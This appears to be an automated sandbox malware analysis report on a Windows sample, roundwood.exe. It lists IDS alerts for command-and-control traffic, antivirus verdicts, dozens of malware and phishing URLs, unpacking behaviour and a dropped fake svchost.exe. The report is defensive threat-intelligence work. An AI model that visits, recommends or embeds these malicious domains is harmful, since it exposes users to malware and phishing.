Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:57.405298+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:53531
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.969463+0200
SID:2803437
Severity:1
Source Port:49713
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.969463+0200
SID:2804852
Severity:1
Source Port:49713
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:36.336824+0200
SID:2803437
Severity:1
Source Port:59534
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:36.336824+0200
SID:2804852
Severity:1
Source Port:59534
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:48.600216+0200
SID:2803437
Severity:1
Source Port:50844
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:48.600216+0200
SID:2804852
Severity:1
Source Port:50844
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:31.676842+0200
SID:2803437
Severity:1
Source Port:49369
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:31.676842+0200
SID:2804852
Severity:1
Source Port:49369
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:29.671762+0200
SID:2803437
Severity:1
Source Port:49733
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:29.671762+0200
SID:2804852
Severity:1
Source Port:49733
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.792580+0200
SID:2804852
Severity:1
Source Port:49718
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.140368+0200
SID:2803437
Severity:1
Source Port:49716
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.140368+0200
SID:2804852
Severity:1
Source Port:49716
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:28.678792+0200
SID:2803437
Severity:1
Source Port:62684
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:28.678792+0200
SID:2804852
Severity:1
Source Port:62684
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:48.002079+0200
SID:2804852
Severity:1
Source Port:50846
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.122015+0200
SID:2803437
Severity:1
Source Port:61321
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.122015+0200
SID:2804852
Severity:1
Source Port:61321
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:03.621686+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:52863
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:35.112054+0200
SID:2803437
Severity:1
Source Port:59538
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.112054+0200
SID:2804852
Severity:1
Source Port:59538
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:38.456170+0200
SID:2803437
Severity:1
Source Port:59545
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:38.456170+0200
SID:2804852
Severity:1
Source Port:59545
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:01.800134+0200
SID:2804852
Severity:1
Source Port:60696
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:57.224227+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:50316
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.965688+0200
SID:2018141
Severity:1
Source Port:80
Destination Port:49712
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.965688+0200
SID:2037771
Severity:1
Source Port:80
Destination Port:49712
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:51.440659+0200
SID:2804852
Severity:1
Source Port:50848
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.574502+0200
SID:2804852
Severity:1
Source Port:59539
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:45.947600+0200
SID:2803437
Severity:1
Source Port:59546
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:45.947600+0200
SID:2804852
Severity:1
Source Port:59546
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:28.944979+0200
SID:2804852
Severity:1
Source Port:49737
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:38.160164+0200
SID:2803437
Severity:1
Source Port:59544
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:38.160164+0200
SID:2804852
Severity:1
Source Port:59544
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:36.380226+0200
SID:2803437
Severity:1
Source Port:49728
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:36.380226+0200
SID:2804852
Severity:1
Source Port:49728
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.179648+0200
SID:2803437
Severity:1
Source Port:59537
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.179648+0200
SID:2804852
Severity:1
Source Port:59537
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:03.704038+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:64700
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:47.172572+0200
SID:2803437
Severity:1
Source Port:50844
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:47.172572+0200
SID:2804852
Severity:1
Source Port:50844
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:17.944239+0200
SID:2804852
Severity:1
Source Port:49723
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:50.959353+0200
SID:2803437
Severity:1
Source Port:50842
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:50.959353+0200
SID:2804852
Severity:1
Source Port:50842
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:17.939719+0200
SID:2803437
Severity:1
Source Port:49722
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:17.939719+0200
SID:2804852
Severity:1
Source Port:49722
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.007208+0200
SID:2803437
Severity:1
Source Port:59529
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.007208+0200
SID:2804852
Severity:1
Source Port:59529
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:16.499388+0200
SID:2803437
Severity:1
Source Port:61322
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:16.499388+0200
SID:2804852
Severity:1
Source Port:61322
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.851519+0200
SID:2803437
Severity:1
Source Port:49710
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.851519+0200
SID:2804852
Severity:1
Source Port:49710
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:27.748480+0200
SID:2803437
Severity:1
Source Port:63535
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:27.748480+0200
SID:2804852
Severity:1
Source Port:63535
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:05.642374+0200
SID:2803437
Severity:1
Source Port:50850
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:05.642374+0200
SID:2804852
Severity:1
Source Port:50850
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.969833+0200
SID:2018141
Severity:1
Source Port:80
Destination Port:49713
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.969833+0200
SID:2037771
Severity:1
Source Port:80
Destination Port:49713
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.051514+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:50783
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:35.030592+0200
SID:2803437
Severity:1
Source Port:59533
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.030592+0200
SID:2804852
Severity:1
Source Port:59533
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:28.454333+0200
SID:2803437
Severity:1
Source Port:49730
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:28.454333+0200
SID:2804852
Severity:1
Source Port:49730
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.027988+0200
SID:2803437
Severity:1
Source Port:59535
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.027988+0200
SID:2804852
Severity:1
Source Port:59535
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:11.847367+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:61390
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:28.191275+0200
SID:2803437
Severity:1
Source Port:49733
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:28.191275+0200
SID:2804852
Severity:1
Source Port:49733
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:04.518140+0200
SID:2803437
Severity:1
Source Port:50849
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:04.518140+0200
SID:2804852
Severity:1
Source Port:50849
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:36.838567+0200
SID:2803437
Severity:1
Source Port:59541
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:36.838567+0200
SID:2804852
Severity:1
Source Port:59541
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:42.376596+0200
SID:2803437
Severity:1
Source Port:59531
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:42.376596+0200
SID:2804852
Severity:1
Source Port:59531
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.062846+0200
SID:2803437
Severity:1
Source Port:59537
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.062846+0200
SID:2804852
Severity:1
Source Port:59537
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:16.708223+0200
SID:2803437
Severity:1
Source Port:49707
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:16.708223+0200
SID:2804852
Severity:1
Source Port:49707
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:03.299572+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:62489
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:49.269857+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:63105
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:46.683786+0200
SID:2803437
Severity:1
Source Port:50843
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:46.683786+0200
SID:2804852
Severity:1
Source Port:50843
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:47.735451+0200
SID:2803437
Severity:1
Source Port:60684
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:47.735451+0200
SID:2804852
Severity:1
Source Port:60684
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:17.172160+0200
SID:2803437
Severity:1
Source Port:63520
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:17.172160+0200
SID:2804852
Severity:1
Source Port:63520
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.200911+0200
SID:2803437
Severity:1
Source Port:59529
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.200911+0200
SID:2804852
Severity:1
Source Port:59529
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:25.750815+0200
SID:2803437
Severity:1
Source Port:49725
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:25.750815+0200
SID:2804852
Severity:1
Source Port:49725
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:00.681002+0200
SID:2803437
Severity:1
Source Port:49730
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:00.681002+0200
SID:2804852
Severity:1
Source Port:49730
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.779967+0200
SID:2804852
Severity:1
Source Port:59540
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.931770+0200
SID:2803437
Severity:1
Source Port:49711
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.931770+0200
SID:2804852
Severity:1
Source Port:49711
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.065128+0200
SID:2803437
Severity:1
Source Port:50851
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.065128+0200
SID:2804852
Severity:1
Source Port:50851
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:34.336361+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:57825
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:29.163916+0200
SID:2803437
Severity:1
Source Port:62685
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:29.163916+0200
SID:2804852
Severity:1
Source Port:62685
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.089912+0200
SID:2803437
Severity:1
Source Port:59530
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.089912+0200
SID:2804852
Severity:1
Source Port:59530
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:27.546643+0200
SID:2803437
Severity:1
Source Port:49731
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:27.546643+0200
SID:2804852
Severity:1
Source Port:49731
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:07.469104+0200
SID:2803437
Severity:1
Source Port:63522
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:07.469104+0200
SID:2804852
Severity:1
Source Port:63522
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:08.051046+0200
SID:2803437
Severity:1
Source Port:63521
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:08.051046+0200
SID:2804852
Severity:1
Source Port:63521
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:46.926972+0200
SID:2803437
Severity:1
Source Port:49741
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:46.926972+0200
SID:2804852
Severity:1
Source Port:49741
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:47.479722+0200
SID:2803437
Severity:1
Source Port:60684
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:47.479722+0200
SID:2804852
Severity:1
Source Port:60684
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.001355+0200
SID:2803437
Severity:1
Source Port:49714
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.001355+0200
SID:2804852
Severity:1
Source Port:49714
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:54.017141+0200
SID:2803437
Severity:1
Source Port:59547
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:54.017141+0200
SID:2804852
Severity:1
Source Port:59547
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:36.643118+0200
SID:2803437
Severity:1
Source Port:59530
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:36.643118+0200
SID:2804852
Severity:1
Source Port:59530
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.036411+0200
SID:2803437
Severity:1
Source Port:49709
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.036411+0200
SID:2804852
Severity:1
Source Port:49709
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:33.519751+0200
SID:2803437
Severity:1
Source Port:60101
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:33.519751+0200
SID:2804852
Severity:1
Source Port:60101
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:31.677081+0200
SID:2018141
Severity:1
Source Port:80
Destination Port:49369
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:31.677081+0200
SID:2037771
Severity:1
Source Port:80
Destination Port:49369
Protocol:TCP
Classtype:A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: roundwood.exeAvira: detected
Antivirus detection for URL or domain
Source: http://ww16.vofycot.com/login.php?sub1=20240824-0243-077d-8f61-d4c58a818681Avira URL Cloud: Label: malware
Source: http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbAvira URL Cloud: Label: malware
Source: http://lyvyxor.com/login.phpAvira URL Cloud: Label: malware
Source: http://galyqaz.com/Printing_Machines.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8yAvira URL Cloud: Label: malware
Source: http://puzylyp.com/login.phpA:Avira URL Cloud: Label: malware
Source: http://ww1.lysyfyj.com/Avira URL Cloud: Label: phishing
Source: http://ww25.lyxynyx.com/login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3coAvira URL Cloud: Label: malware
Source: http://lyrysor.com/login.phpAvira URL Cloud: Label: phishing
Source: http://puzylyp.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyxynyx.com/login.phpAvira URL Cloud: Label: malware
Source: http://ww16.vofycot.com/login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60Avira URL Cloud: Label: malware
Source: http://qegyval.com/login.php29Avira URL Cloud: Label: malware
Source: http://vojyqem.com/login.phpAvira URL Cloud: Label: malware
Source: http://InquiryGrid.com/sk-domsale.php?dom=galyqaz.com&eds=YnJva2VyYWdlQHNrZW56by5jb20%3D&_isk_=7444&Avira URL Cloud: Label: malware
Source: http://galynuh.com/login.phpAvira URL Cloud: Label: malware
Source: http://qetyhyg.com/login.phpAvira URL Cloud: Label: phishing
Source: http://lyxynyx.com/login.php3Avira URL Cloud: Label: malware
Source: http://lymyxid.com/login.phpAvira URL Cloud: Label: malware
Source: http://galyqaz.com/display.cfmAvira URL Cloud: Label: malware
Source: http://gadyniw.com/login.phpAvira URL Cloud: Label: malware
Source: http://qegyval.com/login.phpAvira URL Cloud: Label: malware
Source: http://pupydeq.com/login.phpAvira URL Cloud: Label: malware
Source: http://lygyvuj.com/login.phpAvira URL Cloud: Label: phishing
Source: http://galyqaz.com/Commercial_Printing_Services.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGAvira URL Cloud: Label: malware
Source: http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC6n0jQLvcDPBy65hKrYcVeZdyOk55NkMmURDujLfYrzEMz5BE5QmQNAvira URL Cloud: Label: phishing
Source: http://galyqaz.com/Printing_Inks.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8yGzAGAvira URL Cloud: Label: malware
Source: http://ww6.galyqaz.com/GlobalSignAvira URL Cloud: Label: malware
Source: http://gadyciz.com/login.phpAvira URL Cloud: Label: malware
Source: http://ww1.lysyfyj.com/tAvira URL Cloud: Label: malware
Source: http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbser-AgentMozilla/4.0Avira URL Cloud: Label: malware
Source: http://gatyfus.com/login.phpcom/login.phpAvira URL Cloud: Label: malware
Source: http://lysyfyj.com/login.php?ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCAvira URL Cloud: Label: malware
Source: http://gatyhub.com/login.phpAvira URL Cloud: Label: malware
Source: https://lysyvan.com/Avira URL Cloud: Label: malware
Source: https://lysyvan.com/wp-json/Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: roundwood.exeReversingLabs: Detection: 89%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for sample
Source: roundwood.exeJoe Sandbox ML: detected

Compliance

barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.960000.2.unpack
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2650000.3.unpack
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2950000.3.unpack
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.unpack
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\roundwood.exeUnpacked PE file: 0.2.roundwood.exe.400000.0.unpack
Source: C:\Windows\apppatch\svchost.exeUnpacked PE file: 2.2.svchost.exe.400000.0.unpack
Source: roundwood.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59539 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59543 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50846 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50848 version: TLS 1.2
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000000.2392089505.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000000.2392758187.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747248970.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2699687212.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000000.2424281862.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000000.2448817598.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2457320619.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2467643095.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2471862859.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000000.2469981695.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001D.00000000.2472599687.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2481007099.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2485967614.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000024.00000002.2496212654.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000000.2487466914.00000000001FE000.00000002.00000001.01000000.00000009.sdmp
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D1E1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,2_2_02D1E1B0
